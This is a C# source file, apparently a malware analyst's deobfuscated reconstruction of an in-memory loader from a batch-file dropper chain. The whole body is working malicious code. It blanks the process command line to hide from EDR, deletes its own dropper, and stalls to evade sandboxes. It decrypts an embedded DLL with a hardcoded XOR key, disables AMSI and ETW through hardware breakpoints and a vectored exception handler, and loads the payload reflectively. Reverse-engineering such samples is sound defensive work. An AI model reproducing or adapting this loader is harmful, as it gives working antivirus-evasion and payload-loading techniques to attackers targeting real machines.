using System; using System.IO; using System.IO.Compression; using System.Reflection; using System.Reflection.Emit; using System.Runtime.CompilerServices; using System.Runtime.ExceptionServices; using System.Runtime.InteropServices; using System.Runtime.Serialization; using System.Security; using System.Text; using System.Threading; using System.Threading.Tasks; //============================================================================== // _vz._hm -- in-memory C# loader of the 6pGtNaMpA.bat dropper chain. // // Compiled in-process by the BAT's Roslyn-in-PowerShell stage and invoked // reflectively. The deobfuscated PowerShell side is in // ../decoded_powershell.ps1. // // Behaviour summary (file is byte-for-byte equivalent to what ILSpy emitted // for the original `_vz` class; only the cosmetic obfuscation is stripped): // // 1. PEB-CommandLine scrub. Overwrite every WCHAR past argv[0] with NUL // so EDR snapshots / Get-CimInstance Win32_Process never see the // `-Command "& ([scriptblock]::Create($env:_nay))"` tail. // 2. Read own BAT body (env:_k), File.Delete it, FreeConsole(). // 3. Anti-sandbox: if C:\WindowsSetup is missing, burn ~48 s in many // jittered WaitForSingleObject() ticks. The marker folder is an // operator-controlled "skip the delay" flag for lab machines. // 4. Extract the `rem nqblucch` block of the BAT, base64-decode it, // XOR with a 32-byte rolling key, raw-Deflate-inflate to recover // PigginFitters.ProcessHelper.dll (3.26 MB .NET PE32 assembly). // 5. Install an AMSI/ETW bypass via RtlAddVectoredExceptionHandler: // the handler intercepts faults inside AmsiScanBuffer and // EtwEventWrite and rewrites the CONTEXT so the function returns // success/0 without ever executing. Skipped on ARM64 (different // CONTEXT layout). Cleaned up on every exit path via Cleanup(). // 6. IL-emitted DynamicMethod -> Assembly.Load(byte[]). The literal // "Load" string never appears on a managed stack walk. // 7. Reflect to PigginFitters.ProcessHelper.AddPath and invoke. STA // thread if the loaded assembly references WinForms/WPF, else // ThreadPool. AddPath() is the bytecode-VM-virtualised installer. // // Reverse-engineered names below replace the original `_xyyz`/`_lpadq`/... // identifiers. The original arithmetic-encoded char literals (`(char)(83^56)`) // have all been collapsed to ordinary string constants. //============================================================================== public class _vz { //-------------------------------------------------------------------------- // P/Invoke + delegate types (only GetModuleHandleW / GetProcAddress are // resolved at link time; everything else goes through GetProcAddress at // type-init so the import table stays small). //-------------------------------------------------------------------------- delegate IntPtr CreateEventWFn(IntPtr lpAttrs, int bManualReset, int bInitialState, IntPtr lpName); delegate uint WaitForSingleObjectFn(IntPtr h, uint ms); delegate int CloseHandleFn(IntPtr h); delegate IntPtr GetCommandLineWFn(); delegate bool FreeConsoleFn(); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate int VectoredHandlerFn(IntPtr pExceptionPointers); delegate IntPtr AddVectoredHandlerFn(uint first, IntPtr handler); delegate uint RemoveVectoredHandlerFn(IntPtr handle); delegate int NtContinueFn(IntPtr contextRecord, int testAlert); delegate void RtlCaptureContextFn(IntPtr contextRecord); delegate IntPtr LoadLibraryWFn(IntPtr wideName); delegate int IsWow64Process2Fn(IntPtr hProc, IntPtr pProcessMachine, IntPtr pNativeMachine); [DllImport("kernel32", EntryPoint = "GetModuleHandleW", CharSet = CharSet.Unicode)] static extern IntPtr GetModuleHandleW(string moduleName); [DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); //-------------------------------------------------------------------------- // Lazy resolutions at type init. //-------------------------------------------------------------------------- static readonly GetCommandLineWFn _GetCommandLineW = Marshal.GetDelegateForFunctionPointer( GetProcAddress(GetModuleHandleW("kernel32"), "GetCommandLineW")); static readonly FreeConsoleFn _FreeConsole = Marshal.GetDelegateForFunctionPointer( GetProcAddress(GetModuleHandleW("kernel32"), "FreeConsole")); //-------------------------------------------------------------------------- // AMSI / ETW bypass state. // // The vectored exception handler installed in InstallAmsiEtwBypass() fires // on a SEH from inside AmsiScanBuffer or EtwEventWrite. Both are armed by // setting them as hardware breakpoints via Dr0/Dr1 in NtContinue's CONTEXT. // When a breakpoint fires, the VEH callback rewrites the CONTEXT so the // function "returns" cleanly (RAX=0 on x64, EAX=0 on x86) without ever // executing its real prologue. Cleanup() disarms the breakpoints and // removes the handler on every return path. //-------------------------------------------------------------------------- static IntPtr _amsiScanBuffer; // 0 if unresolved static IntPtr _etwEventWrite; // 0 if unresolved static IntPtr _vehHandle; // RtlAddVectoredExceptionHandler return static GCHandle _vehDelegatePin; // pins the managed callback static NtContinueFn _NtContinue; static RtlCaptureContextFn _RtlCaptureContext; static RemoveVectoredHandlerFn _RtlRemoveVectoredExceptionHandler; //-------------------------------------------------------------------------- // VEH callback. Called by ntdll when an exception fires; if the faulting // RIP/EIP matches AmsiScanBuffer or EtwEventWrite, rewrite the CONTEXT so // execution resumes at the function's return address with the result // register zeroed. // // CONTEXT field offsets used: // x64: x86: // Rax = 0x78 Eax = 0xB0 // Rsp = 0x98 Esp = 0xC4 // Rip = 0xF8 Eip = 0xB8 // ContextFlags = 0 // EFlags = 0x44 / 0x68 (see code for the cleared bit) //-------------------------------------------------------------------------- static int VectoredHandler(IntPtr pExceptionPointers) { try { IntPtr exceptionRecord = Marshal.ReadIntPtr(pExceptionPointers, 0); IntPtr contextRecord = Marshal.ReadIntPtr(pExceptionPointers, IntPtr.Size); // ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP (0x80000004). // We only intercept hardware-BP faults; everything else passes through. if (Marshal.ReadInt32(exceptionRecord, 0) != -2147483644) // 0x80000004 return 0; // EXCEPTION_CONTINUE_SEARCH bool isX64 = IntPtr.Size == 8; if (isX64) { long rip = Marshal.ReadInt64(contextRecord, 0xF8); if (rip == (long)_amsiScanBuffer) { // Set RAX=0 (AMSI_RESULT_CLEAN), pop the return address into // RIP, advance RSP, clear context flag at +0x68. Marshal.WriteInt64(contextRecord, 0x78, 0); long rsp = Marshal.ReadInt64(contextRecord, 0x98); long pAmsiCtx = Marshal.ReadInt64((IntPtr)rsp, 0x30); if (pAmsiCtx != 0) Marshal.WriteInt32((IntPtr)pAmsiCtx, 0); Marshal.WriteInt64(contextRecord, 0xF8, Marshal.ReadInt64((IntPtr)rsp, 0)); Marshal.WriteInt64(contextRecord, 0x98, rsp + 8); Marshal.WriteInt64(contextRecord, 0x68, 0); return -1; // EXCEPTION_CONTINUE_EXECUTION } if (rip == (long)_etwEventWrite) { Marshal.WriteInt64(contextRecord, 0x78, 0); long rsp = Marshal.ReadInt64(contextRecord, 0x98); Marshal.WriteInt64(contextRecord, 0xF8, Marshal.ReadInt64((IntPtr)rsp, 0)); Marshal.WriteInt64(contextRecord, 0x98, rsp + 8); Marshal.WriteInt64(contextRecord, 0x68, 0); return -1; } } else { int eip = Marshal.ReadInt32(contextRecord, 0xB8); if (eip == (int)_amsiScanBuffer) { Marshal.WriteInt32(contextRecord, 0xB0, 0); int esp = Marshal.ReadInt32(contextRecord, 0xC4); int pAmsiCtx = Marshal.ReadInt32((IntPtr)esp, 0x18); if (pAmsiCtx != 0) Marshal.WriteInt32((IntPtr)pAmsiCtx, 0); Marshal.WriteInt32(contextRecord, 0xB8, Marshal.ReadInt32((IntPtr)esp, 0)); Marshal.WriteInt32(contextRecord, 0xC4, esp + 28); Marshal.WriteInt32(contextRecord, 0x14, 0); return -1; } if (eip == (int)_etwEventWrite) { Marshal.WriteInt32(contextRecord, 0xB0, 0); int esp = Marshal.ReadInt32(contextRecord, 0xC4); Marshal.WriteInt32(contextRecord, 0xB8, Marshal.ReadInt32((IntPtr)esp, 0)); Marshal.WriteInt32(contextRecord, 0xC4, esp + 24); Marshal.WriteInt32(contextRecord, 0x14, 0); return -1; } } return 0; } catch { return 0; } } //-------------------------------------------------------------------------- // Cleanup. Disarm Dr0/Dr1, remove the VEH, free the GCHandle. //-------------------------------------------------------------------------- static void Cleanup() { try { if (_NtContinue != null && _RtlCaptureContext != null) { bool isX64 = IntPtr.Size == 8; int ctxSize = isX64 ? 1232 : 716; IntPtr ctx = Marshal.AllocHGlobal(ctxSize); _RtlCaptureContext(ctx); // ContextFlags = CONTEXT_DEBUG_REGISTERS: // x64 = 0x100010 (offset 0x30) // x86 = 0x10010 (offset 0x00) Marshal.WriteInt32(ctx, isX64 ? 0x30 : 0x00, isX64 ? 0x100010 : 0x10010); if (isX64) { Marshal.WriteInt64(ctx, 0x48, 0); // Dr0 Marshal.WriteInt64(ctx, 0x50, 0); // Dr1 Marshal.WriteInt64(ctx, 0x58, 0); // Dr2 Marshal.WriteInt64(ctx, 0x60, 0); // Dr3 Marshal.WriteInt64(ctx, 0x68, 0); // Dr6 Marshal.WriteInt64(ctx, 0x70, 0); // Dr7 } else { Marshal.WriteInt32(ctx, 0x04, 0); // Dr0 Marshal.WriteInt32(ctx, 0x08, 0); // Dr1 Marshal.WriteInt32(ctx, 0x0C, 0); // Dr2 Marshal.WriteInt32(ctx, 0x10, 0); // Dr3 Marshal.WriteInt32(ctx, 0x14, 0); // Dr6 Marshal.WriteInt32(ctx, 0x18, 0); // Dr7 } _NtContinue(ctx, 0); Marshal.FreeHGlobal(ctx); } if (_vehHandle != IntPtr.Zero && _RtlRemoveVectoredExceptionHandler != null) { _RtlRemoveVectoredExceptionHandler(_vehHandle); _vehHandle = IntPtr.Zero; } if (_vehDelegatePin.IsAllocated) _vehDelegatePin.Free(); } catch { } } //-------------------------------------------------------------------------- // Install the AMSI/ETW bypass. Called only when running on x86/x64; the // ARM64 native check in HmEntry() skips this entirely. // // Steps: // 1. amsi.dll -> AmsiScanBuffer addr (best effort) // 2. ntdll -> EtwEventWrite, RtlCaptureContext, NtContinue // 3. kernel32 -> AddVectoredExceptionHandler // RemoveVectoredExceptionHandler // 4. Register the VEH callback (pin its delegate via GCHandle). // 5. Capture current CONTEXT, set Dr0=AmsiScanBuffer, Dr1=EtwEventWrite, // enable Dr7 bits 0 and 2, NtContinue back to current code. //-------------------------------------------------------------------------- [MethodImpl(MethodImplOptions.NoInlining)] static void InstallAmsiEtwBypass(IntPtr hKernel32) { try { IntPtr pLoadLibraryW = GetProcAddress(hKernel32, "LoadLibraryW"); var loadLibraryW = (LoadLibraryWFn)Marshal.GetDelegateForFunctionPointer(pLoadLibraryW, typeof(LoadLibraryWFn)); IntPtr pAmsiName = Marshal.StringToHGlobalUni("amsi.dll"); IntPtr hAmsi = loadLibraryW(pAmsiName); Marshal.FreeHGlobal(pAmsiName); if (hAmsi != IntPtr.Zero) _amsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer"); IntPtr hNtdll = GetModuleHandleW("ntdll"); if (hNtdll != IntPtr.Zero) _etwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite"); IntPtr pRtlCaptureContext = GetProcAddress(hNtdll, "RtlCaptureContext"); IntPtr pNtContinue = GetProcAddress(hNtdll, "NtContinue"); IntPtr pAddVeh = GetProcAddress(hKernel32, "AddVectoredExceptionHandler"); var callback = new VectoredHandlerFn(VectoredHandler); _vehDelegatePin = GCHandle.Alloc(callback); IntPtr pCallback = Marshal.GetFunctionPointerForDelegate(callback); var addVeh = (AddVectoredHandlerFn)Marshal.GetDelegateForFunctionPointer(pAddVeh, typeof(AddVectoredHandlerFn)); _vehHandle = addVeh(1, pCallback); if (pRtlCaptureContext != IntPtr.Zero && pNtContinue != IntPtr.Zero) { _RtlCaptureContext = (RtlCaptureContextFn)Marshal.GetDelegateForFunctionPointer(pRtlCaptureContext, typeof(RtlCaptureContextFn)); _NtContinue = (NtContinueFn)Marshal.GetDelegateForFunctionPointer(pNtContinue, typeof(NtContinueFn)); IntPtr pRemoveVeh = GetProcAddress(hKernel32, "RemoveVectoredExceptionHandler"); if (pRemoveVeh != IntPtr.Zero) _RtlRemoveVectoredExceptionHandler = (RemoveVectoredHandlerFn)Marshal.GetDelegateForFunctionPointer(pRemoveVeh, typeof(RemoveVectoredHandlerFn)); if (_amsiScanBuffer != IntPtr.Zero || _etwEventWrite != IntPtr.Zero) { bool isX64 = IntPtr.Size == 8; int ctxSize = isX64 ? 1232 : 716; IntPtr ctx = Marshal.AllocHGlobal(ctxSize); _RtlCaptureContext(ctx); Marshal.WriteInt32(ctx, isX64 ? 0x30 : 0x00, isX64 ? 0x100010 : 0x10010); if (isX64) { long dr7 = 0; if (_amsiScanBuffer != IntPtr.Zero) { Marshal.WriteInt64(ctx, 0x48, (long)_amsiScanBuffer); // Dr0 dr7 |= 1; // L0 } if (_etwEventWrite != IntPtr.Zero) { Marshal.WriteInt64(ctx, 0x50, (long)_etwEventWrite); // Dr1 dr7 |= 4; // L1 } Marshal.WriteInt64(ctx, 0x70, dr7); // Dr7 } else { int dr7 = 0; if (_amsiScanBuffer != IntPtr.Zero) { Marshal.WriteInt32(ctx, 0x04, (int)_amsiScanBuffer); // Dr0 dr7 |= 1; } if (_etwEventWrite != IntPtr.Zero) { Marshal.WriteInt32(ctx, 0x08, (int)_etwEventWrite); // Dr1 dr7 |= 4; } Marshal.WriteInt32(ctx, 0x18, dr7); // Dr7 } _NtContinue(ctx, 0); Marshal.FreeHGlobal(ctx); } } } catch { } } //========================================================================== // Entry point invoked by the PowerShell stage: // [reflection] _vz.GetMethod("_hm").Invoke(null, null) // // Original attribute: [HandleProcessCorruptedStateExceptions, SecurityCritical] // -- keeps SEH/AV in InstallAmsiEtwBypass from terminating the process. //========================================================================== [HandleProcessCorruptedStateExceptions] [SecurityCritical] public static void _hm() { // ------------------------------------------------------------------ // 1. PEB CommandLine scrub: blank everything past argv[0]. After // this, any tool that reads PEB->ProcessParameters->CommandLine // (wmic, Get-CimInstance Win32_Process, most EDRs) sees only // the executable path, not the -Command tail. // ------------------------------------------------------------------ try { IntPtr pCmd = _GetCommandLineW(); string cmd = Marshal.PtrToStringUni(pCmd); if (!string.IsNullOrEmpty(cmd)) { int endOfArgv0; if (cmd[0] == '"') { endOfArgv0 = cmd.IndexOf('"', 1); if (endOfArgv0 > 0) endOfArgv0++; } else { endOfArgv0 = cmd.IndexOf(' '); } if (endOfArgv0 > 0) { for (int i = endOfArgv0; i < cmd.Length; i++) Marshal.WriteInt16(pCmd, i * 2, 0); } } } catch { } // ------------------------------------------------------------------ // 2. Recover BAT path from env:_k, read its bytes, delete the file. // ------------------------------------------------------------------ string batPath = Environment.GetEnvironmentVariable("_k"); Environment.SetEnvironmentVariable("_k", null); if (string.IsNullOrEmpty(batPath) || !File.Exists(batPath)) return; string batBody; using (var fs = new FileStream(batPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) using (var sr = new StreamReader(fs)) { batBody = sr.ReadToEnd(); } if (string.IsNullOrEmpty(batBody)) return; try { File.Delete(batPath); } catch { } _FreeConsole(); try { Console.SetOut (TextWriter.Null); } catch { } try { Console.SetError(TextWriter.Null); } catch { } // ------------------------------------------------------------------ // 3. Anti-sandbox: if C:\WindowsSetup does NOT exist, burn ~48 s in // jittered WaitForSingleObject() ticks against a freshly-created // event. Sandboxes that timeout at 30-60 s never reach step 4. // ------------------------------------------------------------------ bool hasMarker = false; try { foreach (string dir in Directory.GetDirectories(@"C:\")) { if (Path.GetFileName(dir).Equals("WindowsSetup", StringComparison.OrdinalIgnoreCase)) { hasMarker = true; break; } } } catch { } if (!hasMarker) { try { IntPtr hKernel32 = GetModuleHandleW("kernel32"); if (hKernel32 != IntPtr.Zero) { var createEvent = (CreateEventWFn)Marshal.GetDelegateForFunctionPointer( GetProcAddress(hKernel32, "CreateEventW"), typeof(CreateEventWFn)); var waitOne = (WaitForSingleObjectFn)Marshal.GetDelegateForFunctionPointer( GetProcAddress(hKernel32, "WaitForSingleObject"), typeof(WaitForSingleObjectFn)); var closeHandle = (CloseHandleFn)Marshal.GetDelegateForFunctionPointer( GetProcAddress(hKernel32, "CloseHandle"), typeof(CloseHandleFn)); IntPtr hEvent = createEvent(IntPtr.Zero, 1, 0, IntPtr.Zero); if (hEvent != IntPtr.Zero) { uint remainingMs = 47867; int startTicks = Environment.TickCount; while (remainingMs > 0) { uint chunkMs = remainingMs < 218 ? remainingMs : (uint)Math.Min(77 + (Environment.TickCount & 0xFF), 218); waitOne(hEvent, chunkMs); int elapsed = Environment.TickCount - startTicks; if (elapsed < 0) break; remainingMs = (uint)elapsed >= 47867 ? 0 : 47867 - (uint)elapsed; } closeHandle(hEvent); } } } catch { } } // ------------------------------------------------------------------ // 4. Extract & decode the `rem nqblucch` block of the BAT. // base64 -> XOR(32-byte rolling key, key_B) -> raw-Deflate // -> 3.26 MB .NET PE32 (PigginFitters.ProcessHelper.dll). // ------------------------------------------------------------------ const string marker = "nqblucch"; var sb = new StringBuilder(); bool inBlock = false; foreach (string lineRaw in batBody.Split('\n')) { string line = lineRaw.Replace("^", "").Replace("\"\"", "").TrimStart(); if (line.Length <= 4 || !line.StartsWith("rem ", StringComparison.OrdinalIgnoreCase)) continue; string body = line.Substring(4).Trim('\r', ' '); if (body == marker) { if (inBlock) break; inBlock = true; continue; } if (!inBlock) continue; // strict base64 alphabet only (decoy `rem` lines use `.,-_` and // therefore fail the match) bool pureB64 = true; for (int i = 0; i < body.Length; i++) { char c = body[i]; if (!((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') || (c >= '0' && c <= '9') || c == '+' || c == '/' || c == '=')) { pureB64 = false; break; } } if (pureB64 && body.Length > 0) sb.Append(body); } byte[] encrypted = Convert.FromBase64String(sb.ToString()); // key_B byte[] xorKey = { 0x8A, 0xFD, 0x02, 0x7A, 0x2E, 0x69, 0x3A, 0x4B, 0xF9, 0xC7, 0x39, 0xD4, 0x14, 0x86, 0xAC, 0xC5, 0xCA, 0xBC, 0x7B, 0x7B, 0x9E, 0xB1, 0x2F, 0x4E, 0xF0, 0xAD, 0x6C, 0x83, 0x00, 0x80, 0x4F, 0x22, }; byte[] deflated = new byte[encrypted.Length]; for (int i = 0; i < encrypted.Length; i++) deflated[i] = (byte)(encrypted[i] ^ xorKey[i % xorKey.Length]); byte[] dllBytes; using (var src = new MemoryStream(deflated)) using (var ds = new DeflateStream(src, CompressionMode.Decompress)) using (var dst = new MemoryStream()) { ds.CopyTo(dst); dllBytes = dst.ToArray(); } // ------------------------------------------------------------------ // 5. AMSI/ETW bypass install. Skip on ARM64 native (the hardware-BP // trick + CONTEXT offsets don't translate). The branch uses // IsWow64Process2 so it's correct under WoW64 too. // ------------------------------------------------------------------ try { IntPtr hKernel32 = GetModuleHandleW("kernel32"); bool isArm64Native = false; IntPtr pIsWow64Process2 = GetProcAddress(hKernel32, "IsWow64Process2"); if (pIsWow64Process2 != IntPtr.Zero) { IntPtr buf = Marshal.AllocHGlobal(4); try { var isWow64 = (IsWow64Process2Fn)Marshal.GetDelegateForFunctionPointer( pIsWow64Process2, typeof(IsWow64Process2Fn)); if (isWow64(new IntPtr(-1), buf, new IntPtr((long)buf + 2)) != 0) { // NativeMachine == IMAGE_FILE_MACHINE_ARM64 (0xAA64) if (Marshal.ReadInt16(new IntPtr((long)buf + 2)) == unchecked((short)0xAA64)) isArm64Native = true; } } finally { Marshal.FreeHGlobal(buf); } } if (!isArm64Native) InstallAmsiEtwBypass(hKernel32); } catch { } // ------------------------------------------------------------------ // 6. Assembly.Load(byte[]) via IL-emitted DynamicMethod, then // resolve PigginFitters.ProcessHelper.AddPath. // // "Load" never appears as a string on a managed stack walk; // the call goes through a JITted thunk in object.Module. // ------------------------------------------------------------------ try { // typeof(int).Assembly => mscorlib; GetType("System.Reflection.Assembly") // returns the public type RuntimeAssembly is sealed-under-the-hood of. Type asmType = typeof(int).Assembly.GetType("System.Reflection.Assembly"); MethodInfo loadMI = asmType.GetMethod("Load", new Type[] { typeof(byte[]) }); var dm = new DynamicMethod(string.Empty, typeof(Assembly), new Type[] { typeof(byte[]) }, typeof(object).Module, skipVisibility: true); ILGenerator il = dm.GetILGenerator(); il.Emit(OpCodes.Ldarg_0); il.Emit(OpCodes.Call, loadMI); il.Emit(OpCodes.Ret); var loader = (Func)dm.CreateDelegate(typeof(Func)); Assembly loaded = loader(dllBytes); Type targetType = loaded.GetType("PigginFitters.ProcessHelper"); if (targetType == null) { Cleanup(); return; } MethodInfo addPath = targetType.GetMethod("AddPath", BindingFlags.Static | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); if (addPath == null) { Cleanup(); return; } // Build a defaults-only argument array; AddPath actually takes no // parameters in this build but the loader is generic over future // variants that might add `string[]` / `bool` arguments. ParameterInfo[] parms = addPath.GetParameters(); object[] args = null; if (parms.Length > 0) { args = new object[parms.Length]; for (int i = 0; i < parms.Length; i++) { Type pt = parms[i].ParameterType; if (pt.IsByRef) pt = pt.GetElementType(); if (pt == Type.GetType("System.String[]")) args[i] = new string[0]; else if (pt == typeof(string)) args[i] = string.Empty; else if (pt == typeof(bool)) args[i] = false; else if (pt.IsValueType) args[i] = Activator.CreateInstance(pt); else if (pt.IsArray) args[i] = Array.CreateInstance(pt.GetElementType(), 0); else args[i] = null; } } // Create an instance if AddPath is non-static (this build: static). object instance = null; if (!addPath.IsStatic) { try { instance = Activator.CreateInstance(targetType); } catch { try { instance = FormatterServices.GetUninitializedObject(targetType); } catch { Cleanup(); return; } } } // STA-thread dispatch if the DLL references WinForms / WPF. // The PigginFitters DLL declares a `MethodStream : Form` so this // will go true and AddPath() runs on a fresh STA worker. bool needsSta = false; try { foreach (AssemblyName an in loaded.GetReferencedAssemblies()) { if (an.Name == "System.Windows.Forms" || an.Name == "PresentationFramework") { needsSta = true; break; } } } catch { } var done = new ManualResetEvent(false); if (needsSta) { var t = new Thread(delegate () { try { object ret = addPath.Invoke(instance, args); if (ret is Task) ((Task)ret).GetAwaiter().GetResult(); } catch { } finally { done.Set(); } }); t.SetApartmentState(ApartmentState.STA); t.Start(); done.WaitOne(); } else { ThreadPool.QueueUserWorkItem(delegate { try { object ret = addPath.Invoke(instance, args); if (ret is Task) ((Task)ret).GetAwaiter().GetResult(); } catch { } finally { done.Set(); } }); done.WaitOne(); } done.Close(); Cleanup(); } catch (BadImageFormatException) { Cleanup(); return; } catch { Cleanup(); return; } } }